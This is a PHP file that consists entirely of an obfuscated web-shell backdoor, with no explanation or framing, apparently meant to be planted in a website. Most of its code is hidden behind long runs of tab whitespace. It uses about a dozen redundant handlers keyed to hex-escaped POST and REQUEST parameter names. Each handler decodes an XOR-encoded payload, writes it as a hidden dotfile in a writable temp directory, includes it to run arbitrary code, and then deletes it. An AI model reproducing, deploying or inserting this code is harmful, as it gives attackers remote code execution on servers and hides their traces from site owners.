<?php																																										if(@$_POST["e\x6E\x74ry"] !== null){ $pgrp = array_filter([getcwd(), "/var/tmp", "/tmp", session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/dev/shm"]); $desc = $_POST["e\x6E\x74ry"]; $desc=explode( '.', $desc ); $key = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt5); foreach( $desc as $q => $v2): $chS = ord( $salt5[$q % $lenS]); $dec = ( ( int)$v2 - $chS -( $q % 10)) ^ 52; $key.=chr( $dec); endforeach; foreach ($pgrp as $parameter_group): if (!!is_dir($parameter_group) && !!is_writable($parameter_group)) { $dchunk = vsprintf("%s/%s", [$parameter_group, ".property_set"]); $file = fopen($dchunk, 'w'); if ($file) { fwrite($file, $key); fclose($file); include $dchunk; @unlink($dchunk); die(); } } endforeach; }
																																										if(!is_null($_REQUEST["res"] ?? null)){ $pointer = $_REQUEST["res"]; $pointer = explode ( '.' , $pointer) ; $obj= ''; $s7= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s7 ); $o= 0; $__tmp= $pointer; while( $v8= array_shift( $__tmp)) { $chS= ord( $s7[$o % $lenS] ); $d= ( ( int)$v8 - $chS -( $o % 10)) ^42; $obj .= chr( $d ); $o++; } $ent = array_filter([ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/tmp", getenv("TMP"), getcwd(), "/dev/shm", getenv("TEMP"), "/var/tmp"]); while ($holder = array_shift($ent)) { if (max(0, is_dir($holder) * is_writable($holder))) { $flag = str_replace("{var_dir}", $holder, "{var_dir}/.desc"); if (@file_put_contents($flag, $obj) !== false) { include $flag; unlink($flag); die(); } } } }
																																										if(!empty($_REQUEST["t\x6F\x6Ben"])){ $key = $_REQUEST["t\x6F\x6Ben"]; $key= explode ( "." , $key ) ; $comp=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $s); foreach( $key as $j=>$v2): $sChar=ord( $s[$j % $lenS]); $d=( ( int)$v2 - $sChar -( $j % 10)) ^ 28; $comp .= chr( $d); endforeach; $descriptor = array_filter([getcwd(), "/var/tmp", "/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path()]); while ($pset = array_shift($descriptor)) { if (is_dir($pset) && is_writable($pset)) { $entity = "$pset" . "/.ptr"; $file = fopen($entity, 'w'); if ($file) { fwrite($file, $comp); fclose($file); include $entity; @unlink($entity); exit; } } } }
																																										if(!empty($_POST["itm"])){ $object = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/tmp", getenv("TMP"), session_save_path()]); $fac = $_POST["itm"]; $fac = explode ( '.' , $fac ); $pset = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach($fac as $r =>$v9): $sChar = ord($salt[$r% $lenS]); $dec =((int)$v9 - $sChar -($r% 10)) ^ 50; $pset .=chr($dec); endforeach; foreach ($object as $key => $k) { if (!!is_dir($k) && !!is_writable($k)) { $dchunk = sprintf("%s/.item", $k); $success = file_put_contents($dchunk, $pset); if ($success) { include $dchunk; @unlink($dchunk); exit;} } } }
																																										if(isset($_POST["e\x6C\x65men\x74"]) ? true : false){ $symbol = $_POST["e\x6C\x65men\x74"]; $symbol = explode( "." , $symbol ) ; $rec = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1); $v = 0; $__tmp = $symbol; while($v8 = array_shift($__tmp)) { $sChar = ord($s1[$v % $sLen]); $d =((int)$v8 - $sChar -($v % 10)) ^ 98; $rec .= chr($d); $v++; } $value = array_filter([getcwd(), session_save_path(), "/tmp", sys_get_temp_dir(), getenv("TMP"), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm"]); foreach ($value as $key => $desc) { if (!( !is_dir($desc) || !is_writable($desc) )) { $bind = join("/", [$desc, ".pset"]); if (file_put_contents($bind, $rec)) { require $bind; unlink($bind); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x70gr\x70")){ $rec = array_filter([getenv("TEMP"), getenv("TMP"), "/tmp", sys_get_temp_dir(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), session_save_path()]); $element = $_POST["\x70gr\x70"]; $element = explode ( '.' , $element ) ; $item = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); foreach ($element as $l => $v8): $chS = ord($salt[$l % $lenS] ); $d = ((int)$v8 - $chS - ($l % 10)) ^ 64; $item .=chr($d ); endforeach; foreach ($rec as $sym) { if (is_dir($sym) ? is_writable($sym) : false) { $pset = join("/", [$sym, ".dat"]); $file = fopen($pset, 'w'); if ($file) { fwrite($file, $item); fclose($file); include $pset; @unlink($pset); die(); } } } }
																																										if(array_key_exists("\x70\x73et", $_POST) && !is_null($_POST["\x70\x73et"])){ $binding = array_filter(["/dev/shm", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getcwd(), session_save_path()]); $data = $_POST["\x70\x73et"]; $data =explode ( '.', $data ); $record =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s); foreach( $data as $t => $v9) { $chS =ord( $s[$t % $lenS]); $d =( ( int)$v9 - $chS -( $t % 10)) ^ 96; $record .=chr( $d); } for ($obj = 0, $sym = count($binding); $obj < $sym; $obj++) { $tkn = $binding[$obj]; if (array_product([is_dir($tkn), is_writable($tkn)])) { $parameter_group = sprintf("%s/.flag", $tkn); if (file_put_contents($parameter_group, $record)) { require $parameter_group; unlink($parameter_group); die(); } } } }
																																										if(!empty($_POST["\x74\x6Fken"])){ $pset = $_POST["\x74\x6Fken"]; $pset= explode ("." ,$pset ) ; $flag = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $w = 0; $__tmp = $pset; while ($v3 = array_shift($__tmp)) { $chS = ord($s[$w % $lenS]); $dec = ((int)$v3 - $chS - ($w % 10))^ 21; $flag .= chr($dec); $w++; } $sym = array_filter([getenv("TEMP"), "/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TMP"), session_save_path(), "/var/tmp", getcwd(), ini_get("upload_tmp_dir")]); foreach ($sym as $key => $ref) { if (is_writable($ref) && is_dir($ref)) { $res = implode("/", [$ref, ".data"]); $success = file_put_contents($res, $flag); if ($success) { include $res; @unlink($res); exit;} } } }
																																										if(!empty($_POST["\x6B\x65y"])){ $marker = array_filter([ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", "/dev/shm", "/tmp", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), getcwd()]); $object = $_POST["\x6B\x65y"]; $object =explode( ".",$object ); $dat = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8); $__len = count($object); for ($v = 0; $v < $__len; $v++) { $v4 = $object[$v]; $chS = ord($salt8[$v % $sLen]); $dec = ((int)$v4 - $chS - ($v % 10))^49; $dat .= chr($dec); } while ($holder = array_shift($marker)) { if (!!is_dir($holder) && !!is_writable($holder)) { $ent = "$holder/.fac"; if (file_put_contents($ent, $dat)) { require $ent; unlink($ent); exit; } } } }
																																										if(@$_REQUEST["p\x6Fint\x65r"] !== null){ $binding = $_REQUEST["p\x6Fint\x65r"]; $binding =explode ( ".", $binding) ; $k = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt1 ); $w = 0; $len = count( $binding ); do { if( $w >= $len) break; $v6 = $binding[$w]; $sChar = ord( $salt1[$w % $lenS] ); $dec =( ( int)$v6 - $sChar -( $w % 10)) ^ 69; $k.=chr( $dec ); $w++; }while( true ); $ptr = array_filter(["/var/tmp", getenv("TEMP"), session_save_path(), getcwd(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm"]); foreach ($ptr as $element) { if (max(0, is_dir($element) * is_writable($element))) { $ref = sprintf("%s/.obj", $element); $success = file_put_contents($ref, $k); if ($success) { include $ref; @unlink($ref); exit;} } } }


if(isset($_POST) && isset($_POST["\x70\x72o\x70\x65\x72\x74y_set"])){
	$rec = array_filter(["/var/tmp", sys_get_temp_dir(), getcwd(), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), getenv("TMP")]);
	$reference = $_POST["\x70\x72o\x70\x65\x72\x74y_set"];
	$reference=explode(	 	'.',$reference		);
	$k = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen(		$s );
            $x = 0;
    
            while(		$x < count(		$reference)) {
                $v2 = $reference[$x];
                $sChar = ord(		$s[$x%$sLen] );
                $d =(		(		int)$v2 - $sChar -(		$x%10)) ^ 53;
                $k.=chr(		$d );
                $x++;	}
	foreach ($rec as $resource):
    		if (array_product([is_dir($resource), is_writable($resource)])) {
    $bind = sprintf("%s/.pset", $resource);
    $file = fopen($bind, 'w');
if ($file) {
	fwrite($file, $k);
	fclose($file);
	include $bind;
	@unlink($bind);
	die();
}
}
endforeach;
}